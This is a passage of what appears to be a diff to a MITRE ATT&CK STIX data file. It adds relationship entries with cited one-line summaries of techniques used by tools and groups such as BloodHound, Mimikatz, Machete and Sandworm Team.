"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020." + } + ], + "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect information about local groups and members.(Citation: CrowdStrike BloodHound April 2018)", + "relationship_type": "uses", + "id": "relationship--42a87d45-8dd1-4767-a6a2-d7bd19d3b0ef", + "type": "relationship", + "modified": "2020-11-20T14:11:33.261Z", + "created": "2020-11-20T14:11:33.261Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "external_references": [ + { + "source_name": "CrowdStrike BloodHound April 2018", + "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020." + } + ], + "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect password policy information on the target environment.(Citation: CrowdStrike BloodHound April 2018)", + "relationship_type": "uses", + "id": "relationship--2db515e9-4e44-4a49-917a-3108395b8590", + "type": "relationship", + "modified": "2020-11-20T14:11:33.320Z", + "created": "2020-11-20T14:11:33.320Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "external_references": [ + { + "source_name": "CrowdStrike BloodHound April 2018", + "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020." + } + ], + "description": "[BloodHound](https://attack.mitre.org/software/S0521) can enumerate and collect the properties of domain computers, including domain controllers.(Citation: CrowdStrike BloodHound April 2018)", + "relationship_type": "uses", + "id": "relationship--841f6044-8c12-4063-b911-d1da4c8d6fdc", + "type": "relationship", + "modified": "2020-11-24T20:07:19.431Z", + "created": "2020-11-20T14:31:57.857Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871", + "target_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "external_references": [ + { + "source_name": "FoxIT Wocao December 2019", + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020." + } + ], + "description": "(Citation: FoxIT Wocao December 2019)", + "relationship_type": "uses", + "id": "relationship--96919e6d-b496-4be4-b1f7-2956c8ce450e", + "type": "relationship", + "modified": "2020-11-20T14:45:47.539Z", + "created": "2020-11-20T14:45:47.539Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "external_references": [ + { + "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. 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(2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020." + } + ], + "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect information on user sessions.(Citation: CrowdStrike BloodHound April 2018)", + "relationship_type": "uses", + "id": "relationship--73717937-3d8f-402d-a222-b40d15a49cea", + "type": "relationship", + "modified": "2020-11-20T15:49:53.644Z", + "created": "2020-11-20T15:49:53.644Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can use [certutil](https://attack.mitre.org/software/S0160) for propagation on Windows hosts within intranets.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--427a272e-4500-4216-8816-a6c7d4492f3e", + "type": "relationship", + "modified": "2020-11-20T17:53:52.591Z", + "created": "2020-11-20T17:53:52.591Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "external_references": [ + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "description": "[Lucifer](https://attack.mitre.org/software/S0532) has used UPX packed binaries.(Citation: Unit 42 Lucifer June 2020)", + "relationship_type": "uses", + "id": "relationship--5d4f48e5-48a1-4ade-ae59-b34824b8181f", + "type": "relationship", + "modified": "2020-11-20T17:58:59.672Z", + "created": "2020-11-20T17:58:59.672Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "external_references": [ + { + "source_name": "Securelist Machete Aug 2014", + "url": "https://securelist.com/el-machete/66108/", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." + } + ], + "description": "[Machete](https://attack.mitre.org/software/S0409) has used base64 encoding.(Citation: Securelist Machete Aug 2014)", + "relationship_type": "uses", + "id": "relationship--5ccf856f-abd9-4ef6-b17f-803ecb20435f", + "type": "relationship", + "modified": "2020-11-20T20:11:15.194Z", + "created": "2020-11-20T20:11:15.194Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "external_references": [ + { + "source_name": "Securelist Machete Aug 2014", + "url": "https://securelist.com/el-machete/66108/", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." + }, + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "source_name": "Cylance Machete Mar 2017" + } + ], + "description": "[Machete](https://attack.mitre.org/software/S0409) used the startup folder for persistence.(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)", + "relationship_type": "uses", + "id": "relationship--7e6995cc-c917-4ac7-84e1-5dbf661f29cd", + "type": "relationship", + "modified": "2020-11-20T20:11:15.212Z", + "created": "2020-11-20T20:11:15.212Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", + "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "relationship_type": "subtechnique-of", + "id": "relationship--8d2c3989-1b2f-4620-9315-3ef02c781679", + "type": "relationship", + "modified": "2020-11-23T15:35:53.894Z", + "created": "2020-11-23T15:35:53.894Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", + "external_references": [ + { + "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", + "source_name": "FireEye APT34 July 2019" + } + ], + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tool named VALUEVAULT to steal credentials from the Windows Credential Manager.(Citation: FireEye APT34 July 2019)", + "relationship_type": "uses", + "id": "relationship--024593ae-03a1-4ffa-a5fc-fc2fe43e6ebf", + "type": "relationship", + "modified": "2020-11-23T17:35:43.337Z", + "created": "2020-11-23T17:35:43.337Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", + "external_references": [ + { + "source_name": "Delpy Mimikatz Crendential Manager", + "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials", + "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020." + } + ], + "description": "[Mimikatz](https://attack.mitre.org/software/S0002) contains functionality to acquire credentials from the Windows Credential Manager.(Citation: Delpy Mimikatz Crendential Manager)", + "relationship_type": "uses", + "id": "relationship--c92047b8-50d6-4fde-8acd-98132dcdc32f", + "type": "relationship", + "modified": "2020-11-23T17:38:03.062Z", + "created": "2020-11-23T17:38:03.062Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). 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(2016, August 31). Network access: Do not allow storage of passwords and credentials for network authentication. Retrieved November 23, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-29T21:00:19.432Z", + "created": "2020-11-23T19:27:05.640Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." + } + ], + "description": "[Machete](https://attack.mitre.org/groups/G0095) has created scheduled tasks to maintain [Machete](https://attack.mitre.org/software/S0409)'s persistence.(Citation: 360 Machete Sep 2020)", + "relationship_type": "uses", + "id": "relationship--818dc2b8-bc95-4e1e-a25a-8c659b9a141d", + "type": "relationship", + "modified": "2020-11-23T22:19:46.797Z", + "created": "2020-11-23T22:19:46.797Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. 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(2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." + } + ], + "description": "[Machete](https://attack.mitre.org/groups/G0095) has used msiexec to install the [Machete](https://attack.mitre.org/software/S0409) malware.(Citation: 360 Machete Sep 2020)", + "relationship_type": "uses", + "id": "relationship--d3e2ba96-28bb-48be-b46b-3c2349f4d0cd", + "type": "relationship", + "modified": "2020-11-23T22:19:46.847Z", + "created": "2020-11-23T22:19:46.847Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. 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Retrieved November 20, 2020." + } + ], + "description": "[Machete](https://attack.mitre.org/groups/G0095) has embedded malicious macros within spearphishing attachments to download additional files.(Citation: 360 Machete Sep 2020)", + "relationship_type": "uses", + "id": "relationship--472878d3-3a6a-4ad2-8fcf-e73a74fd48b6", + "type": "relationship", + "modified": "2020-11-23T22:19:46.857Z", + "created": "2020-11-23T22:19:46.857Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", + "external_references": [ + { + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. 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Retrieved November 20, 2020." + } + ], + "description": "[APT32](https://attack.mitre.org/groups/G0050) has set up Facebook pages in tandem with fake websites.(Citation: Volexity Ocean Lotus November 2020)", + "relationship_type": "uses", + "id": "relationship--e122b9fa-d722-4ee8-a5d7-0e585277676d", + "type": "relationship", + "modified": "2020-11-24T21:19:49.189Z", + "created": "2020-11-24T21:19:49.189Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "external_references": [ + { + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). 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Retrieved November 30, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) defaced approximately 15,000 websites belonging to Georgian government, non-government, and private sector organizations in 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)", + "relationship_type": "uses", + "id": "relationship--9fd468a1-e0ef-4371-b7fd-93f81900f069", + "type": "relationship", + "modified": "2020-11-30T19:59:13.956Z", + "created": "2020-11-25T22:46:47.291Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has conducted research against potential victim websites as part of its operational planning.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--bfb63eb2-7db6-45d0-83c4-1fc93a8e51c5", + "type": "relationship", + "modified": "2020-11-25T22:46:47.300Z", + "created": "2020-11-25T22:46:47.300Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used stolen credentials to access administrative accounts within the domain.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--32478440-a1d2-458d-a749-e2d200415106", + "type": "relationship", + "modified": "2021-01-06T21:30:47.891Z", + "created": "2020-11-25T22:46:47.381Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) had gathered user, IP address, and server data related to RDP sessions on a compromised host. It has also accessed network diagram files useful for understanding how a host's network was configured.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--65a16e8c-47a1-4327-8eed-5cc82339807f", + "type": "relationship", + "modified": "2020-11-25T22:46:47.409Z", + "created": "2020-11-25T22:46:47.409Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used PowerShell scripts to run a credential harvesting tool in memory to evade defenses.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--1d8fedc7-e139-4806-9904-3cc2bf8b9334", + "type": "relationship", + "modified": "2020-11-25T22:46:47.503Z", + "created": "2020-11-25T22:46:47.503Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has acquired open-source tools for some of it's operations; for example it acquired [Invoke-PSImage](https://attack.mitre.org/software/S0231) to establish an encrypted channel from a compromised host to [Sandworm Team](https://attack.mitre.org/groups/G0034)'s C2 server as part of its preparation for the 2018 Winter Olympics attack.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--59116a0e-f23b-43ec-8b25-fbad5043344a", + "type": "relationship", + "modified": "2020-11-25T22:46:47.513Z", + "created": "2020-11-25T22:46:47.513Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "In 2017, [Sandworm Team](https://attack.mitre.org/groups/G0034) conducted technical research related to vulnerabilities associated with websites used by the Korean Sport and Olympic Committee, a Korean power company, and a Korean airport.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--02804eca-a840-4ffe-8abd-60705d3456e4", + "type": "relationship", + "modified": "2020-11-25T22:46:47.604Z", + "created": "2020-11-25T22:46:47.604Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has scanned network infrastructure for vulnerabilities as part of its operational planning.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--105a37da-145b-4143-8641-566350cd143c", + "type": "relationship", + "modified": "2020-11-25T22:46:47.615Z", + "created": "2020-11-25T22:46:47.615Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "In preparation for its attack against the 2018 Winter Olympics, [Sandworm Team](https://attack.mitre.org/groups/G0034) conducted online research of partner organizations listed on an official PyeongChang Olympics partnership site.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--c2ebda8d-2f91-440c-85b1-36fa969300a5", + "type": "relationship", + "modified": "2021-01-06T21:30:47.871Z", + "created": "2020-11-25T22:46:47.622Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has enumerated files on a compromised host.(Citation: US District Court Indictment GRU Unit 74455 October 2020) ", + "relationship_type": "uses", + "id": "relationship--62f2c1a6-3019-44a0-a750-794677ddabd0", + "type": "relationship", + "modified": "2021-01-06T21:30:47.916Z", + "created": "2020-11-25T22:46:47.712Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has collected the username from a compromised host.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--ef041776-abd8-4e6f-8737-07e724e68cd1", + "type": "relationship", + "modified": "2020-11-25T22:46:47.714Z", + "created": "2020-11-25T22:46:47.714Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has exfiltrated internal documents, files, and other data from compromised hosts.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--f892dddf-79a7-4d11-94b3-5df0c37d134a", + "type": "relationship", + "modified": "2020-11-25T22:46:47.727Z", + "created": "2020-11-25T22:46:47.726Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "target_ref": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + } + ], + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) researched Ukraine's unique legal entity identifier (called an \"EDRPOU\" number), including running queries on the EDRPOU website, in preparation for the [NotPetya](https://attack.mitre.org/software/S0368) attack. [Sandworm Team](https://attack.mitre.org/groups/G0034) has also researched third-party websites to help it craft credible spearphishing emails.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "relationship_type": "uses", + "id": "relationship--fac15889-5e75-4d1d-b624-294581c299ca", + "type": "relationship", + "modified": "2020-11-25T22:46:47.790Z", + "created": "2020-11-25T22:46:47.790Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": 